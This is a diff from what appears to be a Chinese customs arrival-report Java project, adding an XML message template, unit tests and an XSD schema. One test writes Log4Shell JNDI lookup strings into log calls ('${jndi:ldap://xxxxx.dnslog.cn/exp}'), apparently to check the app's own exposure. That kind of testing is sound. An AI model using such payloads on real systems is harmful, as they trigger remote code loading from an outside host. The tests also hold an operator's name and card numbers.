58 | + <ClientSeqNo th:text="*{clientseqno}">${客户端统一编号}</ClientSeqNo> | ||
59 | + <HostId th:text="*{hostid}">${邮箱客户端ID}</HostId> | ||
60 | + <CertNo th:text="*{certno}">${当前操作员IC卡证书号}</CertNo> | ||
61 | + </EtaArrivalSign> | ||
62 | +</EtaMessage> |
1 | 1 | ||
2 | import com.tianbo.analysis.NmmsAdminApplication; | 2 | import com.tianbo.analysis.NmmsAdminApplication; |
3 | -import lombok.extern.slf4j.Slf4j; | 3 | +import org.apache.logging.log4j.LogManager; |
4 | +import org.apache.logging.log4j.Logger; | ||
5 | +import org.junit.runner.RunWith; | ||
4 | import org.springframework.boot.test.context.SpringBootTest; | 6 | import org.springframework.boot.test.context.SpringBootTest; |
7 | +import org.springframework.test.context.junit4.SpringRunner; | ||
5 | 8 | ||
9 | +import java.util.regex.Matcher; | ||
10 | +import java.util.regex.Pattern; | ||
11 | + | ||
12 | +//@RunWith(SpringRunner.class) | ||
6 | @SpringBootTest(classes = NmmsAdminApplication.class) | 13 | @SpringBootTest(classes = NmmsAdminApplication.class) |
7 | -@Slf4j | ||
8 | public class Test { | 14 | public class Test { |
9 | 15 | ||
16 | + private static Logger logger = LogManager.getLogger(Test.class); | ||
10 | 17 | ||
11 | @org.junit.jupiter.api.Test | 18 | @org.junit.jupiter.api.Test |
12 | public void send(){ | 19 | public void send(){ |
20 | + String s = "/${java:os}"; | ||
21 | + logger.error("username: {}",s); | ||
22 | + logger.error("/${jndi:ldap://xxxxx.dnslog.cn/exp}"); | ||
23 | + logger.error("${jndi:ldap://xxxxx.dnslog.cn/exp}"); | ||
24 | + logger.error("/${}","jndi:ldap://xxxxx.dnslog.cn/exp"); | ||
25 | + logger.error("${}","jndi:ldap://xxxxx.dnslog.cn/exp"); | ||
26 | + | ||
27 | + String keyword = "(/[TEFXL]{2}/.{1,25})+"; | ||
28 | + // 创建 Pattern 对象 | ||
29 | + Pattern r = Pattern.compile(keyword); | ||
30 | + // 现在创建 matcher 对象 | ||
31 | + Matcher m = r.matcher("/CN//TE/02120527366/FX/FFFFXXX1123211/TL/112121DSADSADDDDDDD"); | ||
32 | + if (m.find()){ | ||
33 | + logger.info("找到适配f"); | ||
34 | + logger.info(m.group(1)); | ||
35 | + logger.info(m.group(2)); | ||
36 | + } | ||
37 | + if (m.matches()){ | ||
38 | + logger.info("找到适配m"); | ||
39 | + logger.info(m.group(1)); | ||
40 | + logger.info(m.group(2)); | ||
41 | + } | ||
13 | // MSGS msgs = new MSGS(); | 42 | // MSGS msgs = new MSGS(); |
14 | // MSG msg = new MSG(); | 43 | // MSG msg = new MSG(); |
15 | // | 44 | // |
src/test/java/TransAriiveTest.java
0 → 100644
1 | +import com.tianbo.analysis.NmmsAdminApplication; | ||
2 | +import com.tianbo.analysis.model.TRANSTOARRIVEEXPORT; | ||
3 | +import com.tianbo.analysis.service.TransArriveExportService; | ||
4 | +import lombok.extern.slf4j.Slf4j; | ||
5 | +import org.springframework.beans.factory.annotation.Autowired; | ||
6 | +import org.springframework.boot.test.context.SpringBootTest; | ||
7 | +import java.util.Date; | ||
8 | + | ||
9 | + | ||
10 | +@SpringBootTest(classes = NmmsAdminApplication.class) | ||
11 | +@Slf4j | ||
12 | +public class TransAriiveTest { | ||
13 | + | ||
14 | + @Autowired | ||
15 | + TransArriveExportService transArriveExportService; | ||
16 | + | ||
17 | + @org.junit.jupiter.api.Test | ||
18 | + public void send(){ | ||
19 | + TRANSTOARRIVEEXPORT t = new TRANSTOARRIVEEXPORT(); | ||
20 | + //海关信息及IC卡相关部分 | ||
21 | + t.setApplycode("4101888126"); | ||
22 | + t.setApplyname("河南航空货运发展有限公司"); | ||
23 | + t.setCopcode("70678920X"); | ||
24 | + t.setCustomscode("4604"); | ||
25 | + //操作员IC卡号 | ||
26 | + t.setInputopid("8930000085548"); | ||
27 | + t.setInputopname("翟梦一"); | ||
28 | + t.setCertno("21212321321321"); | ||
29 | + | ||
30 | + t.setSeqno(""); | ||
31 | + //货物承运运输信息部分 | ||
32 | + t.setTrafmode("5"); | ||
33 | + t.setTrnmode("2"); | ||
34 | + t.setTrafway("4"); | ||
35 | + t.setUnloadcode("CGO"); | ||
36 | + t.setArrivetime(new Date()); | ||
37 | + | ||
38 | + //货物信息部分 | ||
39 | + t.setGrosswt("42.00"); | ||
40 | + | ||
41 | + //申报签名部分 | ||
42 | + t.setOpertype("A"); | ||
43 | + t.setSign("kUNHDHVG1b72ZIrN8voIGUr+2JRITIo5FlusuSQCMerhV5GEGg9Z42L5F28MM+4gFL6CQgH2JPmdRdHAYIKJa89fdxGnHE3QSVd8dDUxx7q7AUUDzOg25OVB3ULywb8ruivj6tAR0daYkU3ACzWMYZoH4BNEMh4Za6DI7lBNf04="); | ||
44 | + t.setSigndate(new Date()); | ||
45 | +// t.setClientseqno("000000000000905006"); | ||
46 | +// t.setClientseqno("000000000000057246"); | ||
47 | + t.setClientseqno("000000000000002050"); | ||
48 | + t.setHostid("2012062600"); | ||
49 | + | ||
50 | + transArriveExportService.send(t); | ||
51 | + } | ||
52 | +} |
xsd/ETAImportMessage.xsd
0 → 100644
1 | +<?xml version="1.0" encoding="UTF-8"?> | ||
2 | +<!-- edited with XMLSpy v2008 sp1 (http://www.altova.com) by YYC (EMBRACE) --> | ||
3 | +<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:eta="http://www.chinaport.gov.cn/eta" targetNamespace="http://www.chinaport.gov.cn/eta" elementFormDefault="qualified" attributeFormDefault="unqualified"> | ||
4 | + <xs:element name="EtaMessage"> | ||
5 | + <xs:annotation> | ||
6 | + <xs:documentation>运抵报告全自动导入报文</xs:documentation> | ||
7 | + </xs:annotation> | ||
8 | + <xs:complexType> | ||
9 | + <xs:sequence> | ||
10 | + <xs:element name="Vertion"> | ||
11 | + <xs:simpleType> | ||
12 | + <xs:restriction base="xs:string"> | ||
13 | + <xs:maxLength value="5"/> | ||
14 | + <xs:minLength value="1"/> | ||
15 | + </xs:restriction> | ||
16 | + </xs:simpleType> | ||
17 | + </xs:element> | ||
18 | + <xs:element name="IEFlag"> | ||
19 | + <xs:annotation> | ||
20 | + <xs:documentation>进出口标志</xs:documentation> | ||
21 | + </xs:annotation> | ||
22 | + <xs:simpleType> | ||
23 | + <xs:restriction base="xs:string"> | ||
24 | + <xs:maxLength value="1"/> | ||
25 | + </xs:restriction> | ||
26 | + </xs:simpleType> | ||
27 | + </xs:element> | ||
28 | + <xs:element name="EtaArrival"> | ||
29 | + <xs:complexType> | ||
30 | + <xs:sequence> | ||
31 | + <xs:element name="SeqNo"> | ||
32 | + <xs:annotation> | ||
33 | + <xs:documentation>统一编号</xs:documentation> | ||
34 | + </xs:annotation> | ||
35 | + <xs:simpleType> | ||
36 | + <xs:restriction base="xs:string"> | ||
37 | + <xs:maxLength value="18"/> | ||
38 | + </xs:restriction> | ||
39 | + </xs:simpleType> | ||
40 | + </xs:element> | ||
41 | + <xs:element name="CustomsCode"> | ||
42 | + <xs:annotation> | ||
43 | + <xs:documentation>申报地海关</xs:documentation> | ||
44 | + </xs:annotation> | ||
45 | + <xs:simpleType> | ||
46 | + <xs:restriction base="xs:string"> | ||
47 | + <xs:length value="4"/> | ||
48 | + </xs:restriction> | ||
49 | + </xs:simpleType> | ||
50 | + </xs:element> | ||
51 | + <xs:element name="InputOpId"> | ||
52 | + <xs:annotation> | ||
53 | + <xs:documentation>当前操作员ic卡号</xs:documentation> | ||
54 | + </xs:annotation> | ||
55 | + <xs:simpleType> | ||
56 | + <xs:restriction base="xs:string"> | ||
57 | + <xs:length value="13"/> | ||
58 | + </xs:restriction> | ||
59 | + </xs:simpleType> | ||
60 | + </xs:element> | ||
61 | + <xs:element name="InputOpName"> | ||
62 | + <xs:annotation> | ||
63 | + <xs:documentation>当前操作员ic卡姓名</xs:documentation> | ||
64 | + </xs:annotation> | ||
65 | + <xs:simpleType> | ||
66 | + <xs:restriction base="xs:string"> | ||
67 | + <xs:maxLength value="20"/> | ||
68 | + <xs:minLength value="1"/> | ||
69 | + </xs:restriction> | ||
70 | + </xs:simpleType> | ||
71 | + </xs:element> | ||
72 | + <xs:element name="ApplyName"> | ||
73 | + <xs:annotation> | ||
74 | + <xs:documentation>当前操作员单位名称</xs:documentation> | ||
75 | + </xs:annotation> | ||
76 | + <xs:simpleType> | ||
77 | + <xs:restriction base="xs:string"> | ||
78 | + <xs:maxLength value="255"/> | ||
79 | + <xs:minLength value="1"/> | ||
80 | + </xs:restriction> | ||
81 | + </xs:simpleType> | ||
82 | + </xs:element> | ||
83 | + <xs:element name="ApplyCode"> | ||
84 | + <xs:annotation> | ||
85 | + <xs:documentation>当前操作员单位海关十位编码</xs:documentation> | ||
86 | + </xs:annotation> | ||
87 | + <xs:simpleType> | ||
88 | + <xs:restriction base="xs:string"> | ||
89 | + <xs:length value="10"/> | ||
90 | + </xs:restriction> | ||
91 | + </xs:simpleType> | ||
92 | + </xs:element> | ||
93 | + <xs:element name="CopCode"> | ||
94 | + <xs:annotation> | ||
95 | + <xs:documentation>当前操作员单位组织机构代码</xs:documentation> | ||
96 | + </xs:annotation> | ||
97 | + <xs:simpleType> | ||
98 | + <xs:restriction base="xs:string"> | ||
99 | + <xs:length value="9"/> | ||
100 | + </xs:restriction> | ||
101 | + </xs:simpleType> | ||
102 | + </xs:element> | ||
103 | + <xs:element name="ArriveNo"> | ||
104 | + <xs:annotation> | ||
105 | + <xs:documentation>运抵编号(北方模式必填 | ||
106 | +南方模式免填 | ||
107 | +水运中转模式选填 | ||
108 | +运抵编号规则:4位申报地海关代码+2位卸货地代码+6位编号生成日期〔顺序为年(2位)、月(2位)、日(2位)〕+6位流水号';)</xs:documentation> | ||
109 | + </xs:annotation> | ||
110 | + <xs:simpleType> | ||
111 | + <xs:restriction base="xs:string"> | ||
112 | + <xs:maxLength value="18"/> | ||
113 | + </xs:restriction> | ||
114 | + </xs:simpleType> | ||
115 | + </xs:element> | ||
116 | + <xs:element name="ContaId"> | ||
117 | + <xs:annotation> | ||
118 | + <xs:documentation>集装箱货物必填;非集装箱货物填H2000</xs:documentation> | ||
119 | + </xs:annotation> | ||
120 | + <xs:simpleType> | ||
121 | + <xs:restriction base="xs:string"> | ||
122 | + <xs:maxLength value="11"/> | ||
123 | + <xs:minLength value="0"/> | ||
124 | + </xs:restriction> | ||
125 | + </xs:simpleType> | ||
126 | + </xs:element> | ||
127 | + <xs:element name="BillNo"> | ||
128 | + <xs:annotation> | ||
129 | + <xs:documentation>北方模式选填 | ||
130 | +南方模式汽车运输的填报车牌号 | ||
131 | +水运中转模式必填</xs:documentation> | ||
132 | + </xs:annotation> | ||
133 | + <xs:simpleType> | ||
134 | + <xs:restriction base="xs:string"> | ||
135 | + <xs:maxLength value="32"/> | ||
136 | + </xs:restriction> | ||
137 | + </xs:simpleType> | ||
138 | + </xs:element> | ||
139 | + <xs:element name="TrafMode"> | ||
140 | + <xs:annotation> | ||
141 | + <xs:documentation>进出境运输方式代码:2-江海运输;3-铁路运输;4-汽车运输;5-航空运输;6-邮件运输</xs:documentation> | ||
142 | + </xs:annotation> | ||
143 | + <xs:simpleType> | ||
144 | + <xs:restriction base="xs:string"> | ||
145 | + <xs:maxLength value="1"/> | ||
146 | + </xs:restriction> | ||
147 | + </xs:simpleType> | ||
148 | + </xs:element> | ||
149 | + <xs:element name="TrafName"> | ||
150 | + <xs:annotation> | ||
151 | + <xs:documentation>当北方模式选填 | ||
152 | +南方模式填写“@”+13位载货清单号 | ||
153 | +水运中转模式:境内水路运输填报驳船船名;境内铁路运输填报车名(主管海关4位关别代码+“TRAIN”);境内公路运输填报车名(主管海关4位关别代码+“TRUCK”)</xs:documentation> | ||
154 | + </xs:annotation> | ||
155 | + <xs:simpleType> | ||
156 | + <xs:restriction base="xs:string"> | ||
157 | + <xs:maxLength value="255"/> | ||
158 | + </xs:restriction> | ||
159 | + </xs:simpleType> | ||
160 | + </xs:element> | ||
161 | + <xs:element name="VoyageNo"> | ||
162 | + <xs:annotation> | ||
163 | + <xs:documentation>境内运输工具航(班)次:北方模式选填 | ||
164 | +南方模式免填 | ||
165 | +水运中转模式:境内水路运输填报驳船航次号;境内铁路、公路运输填报6位启运日期〔顺序为年(2位)、月(2位)、日(2位)</xs:documentation> | ||
166 | + </xs:annotation> | ||
167 | + <xs:simpleType> | ||
168 | + <xs:restriction base="xs:string"> | ||
169 | + <xs:maxLength value="32"/> | ||
170 | + </xs:restriction> | ||
171 | + </xs:simpleType> | ||
172 | + </xs:element> | ||
173 | + <xs:element name="TrafWay"> | ||
174 | + <xs:annotation> | ||
175 | + <xs:documentation>境内运输方式:2-江海运输;3-铁路运输;4-汽车运输;5-航空运输;6-邮件运输</xs:documentation> | ||
176 | + </xs:annotation> | ||
177 | + <xs:simpleType> | ||
178 | + <xs:restriction base="xs:string"> | ||
179 | + <xs:maxLength value="1"/> | ||
180 | + </xs:restriction> | ||
181 | + </xs:simpleType> | ||
182 | + </xs:element> | ||
183 | + <xs:element name="PackNo"> | ||
184 | + <xs:annotation> | ||
185 | + <xs:documentation>托运货物件数:非集装箱货物必填</xs:documentation> | ||
186 | + </xs:annotation> | ||
187 | + <xs:simpleType> | ||
188 | + <xs:restriction base="xs:string"> | ||
189 | + <xs:maxLength value="18"/> | ||
190 | + </xs:restriction> | ||
191 | + </xs:simpleType> | ||
192 | + </xs:element> | ||
193 | + <xs:element name="GrossWt"> | ||
194 | + <xs:annotation> | ||
195 | + <xs:documentation>货物总毛重:非集装箱货物必填,单位:千克。</xs:documentation> | ||
196 | + </xs:annotation> | ||
197 | + <xs:simpleType> | ||
198 | + <xs:restriction base="xs:string"> | ||
199 | + <xs:maxLength value="18"/> | ||
200 | + </xs:restriction> | ||
201 | + </xs:simpleType> | ||
202 | + </xs:element> | ||
203 | + <xs:element name="UnloadCode"> | ||
204 | + <xs:annotation> | ||
205 | + <xs:documentation>卸货地代码</xs:documentation> | ||
206 | + </xs:annotation> | ||
207 | + <xs:simpleType> | ||
208 | + <xs:restriction base="xs:string"> | ||
209 | + <xs:maxLength value="32"/> | ||
210 | + </xs:restriction> | ||
211 | + </xs:simpleType> | ||
212 | + </xs:element> | ||
213 | + <xs:element name="ArriveTime"> | ||
214 | + <xs:annotation> | ||
215 | + <xs:documentation>到达卸货地时间</xs:documentation> | ||
216 | + </xs:annotation> | ||
217 | + <xs:simpleType> | ||
218 | + <xs:restriction base="xs:string"> | ||
219 | + <xs:maxLength value="14"/> | ||
220 | + </xs:restriction> | ||
221 | + </xs:simpleType> | ||
222 | + </xs:element> | ||
223 | + <xs:element name="ContaType"> | ||
224 | + <xs:annotation> | ||
225 | + <xs:documentation>集装箱(器)尺寸和类FFF/*0型:集装箱货物必填 | ||
226 | +非集装箱货物免填</xs:documentation> | ||
227 | + </xs:annotation> | ||
228 | + <xs:simpleType> | ||
229 | + <xs:restriction base="xs:string"> | ||
230 | + <xs:maxLength value="4"/> | ||
231 | + </xs:restriction> | ||
232 | + </xs:simpleType> | ||
233 | + </xs:element> | ||
234 | + <xs:element name="TrnMode"> | ||
235 | + <xs:annotation> | ||
236 | + <xs:documentation>转关方式:0-非转关运抵模式;1-南方转关运抵模式;2-北方转关运抵模式;3-水运中转运抵模式</xs:documentation> | ||
237 | + </xs:annotation> | ||
238 | + <xs:simpleType> | ||
239 | + <xs:restriction base="xs:string"> | ||
240 | + <xs:maxLength value="1"/> | ||
241 | + </xs:restriction> | ||
242 | + </xs:simpleType> | ||
243 | + </xs:element> | ||
244 | + <xs:element name="Notes"> | ||
245 | + <xs:annotation> | ||
246 | + <xs:documentation>备注</xs:documentation> | ||
247 | + </xs:annotation> | ||
248 | + <xs:simpleType> | ||
249 | + <xs:restriction base="xs:string"> | ||
250 | + <xs:maxLength value="255"/> | ||
251 | + </xs:restriction> | ||
252 | + </xs:simpleType> | ||
253 | + </xs:element> | ||
254 | + </xs:sequence> | ||
255 | + </xs:complexType> | ||
256 | + </xs:element> | ||
257 | + <xs:element name="EtaArrivalSign"> | ||
258 | + <xs:complexType> | ||
259 | + <xs:sequence> | ||
260 | + <xs:element name="OperType"> | ||
261 | + <xs:annotation> | ||
262 | + <xs:documentation>操作类型:A:暂存;C:申报(申请)</xs:documentation> | ||
263 | + </xs:annotation> | ||
264 | + <xs:simpleType> | ||
265 | + <xs:restriction base="xs:string"> | ||
266 | + <xs:length value="1"/> | ||
267 | + </xs:restriction> | ||
268 | + </xs:simpleType> | ||
269 | + </xs:element> | ||
270 | + <xs:element name="Sign"> | ||
271 | + <xs:annotation> | ||
272 | + <xs:documentation>签名信息</xs:documentation> | ||
273 | + </xs:annotation> | ||
274 | + <xs:simpleType> | ||
275 | + <xs:restriction base="xs:string"> | ||
276 | + <xs:maxLength value="201"/> | ||
277 | + <xs:minLength value="1"/> | ||
278 | + </xs:restriction> | ||
279 | + </xs:simpleType> | ||
280 | + </xs:element> | ||
281 | + <xs:element name="SignDate"> | ||
282 | + <xs:annotation> | ||
283 | + <xs:documentation>签名日期</xs:documentation> | ||
284 | + </xs:annotation> | ||
285 | + <xs:simpleType> | ||
286 | + <xs:restriction base="xs:string"> | ||
287 | + <xs:length value="14"/> | ||
288 | + </xs:restriction> | ||
289 | + </xs:simpleType> | ||
290 | + </xs:element> | ||
291 | + <xs:element name="ClientSeqNo"> | ||
292 | + <xs:annotation> | ||
293 | + <xs:documentation>客户端统一编号,每个hostid要唯一</xs:documentation> | ||
294 | + </xs:annotation> | ||
295 | + <xs:simpleType> | ||
296 | + <xs:restriction base="xs:string"> | ||
297 | + <xs:length value="18"/> | ||
298 | + </xs:restriction> | ||
299 | + </xs:simpleType> | ||
300 | + </xs:element> | ||
301 | + <xs:element name="HostId"> | ||
302 | + <xs:annotation> | ||
303 | + <xs:documentation>邮箱客户端ID</xs:documentation> | ||
304 | + </xs:annotation> | ||
305 | + <xs:simpleType> | ||
306 | + <xs:restriction base="xs:string"> | ||
307 | + <xs:maxLength value="18"/> | ||
308 | + <xs:minLength value="1"/> | ||
309 | + </xs:restriction> | ||
310 | + </xs:simpleType> | ||
311 | + </xs:element> | ||
312 | + <xs:element name="CertNo"> | ||
313 | + <xs:annotation> | ||
314 | + <xs:documentation>当前操作员ic卡证书号</xs:documentation> | ||
315 | + </xs:annotation> | ||
316 | + <xs:simpleType> | ||
317 | + <xs:restriction base="xs:string"> | ||
318 | + <xs:maxLength value="20"/> | ||
319 | + <xs:minLength value="1"/> | ||
320 | + </xs:restriction> | ||
321 | + </xs:simpleType> | ||
322 | + </xs:element> | ||
323 | + </xs:sequence> | ||
324 | + </xs:complexType> | ||
325 | + </xs:element> | ||
326 | + </xs:sequence> | ||
327 | + </xs:complexType> | ||
328 | + </xs:element> | ||
329 | +</xs:schema> |
-
请 注册 或 登录 后发表评论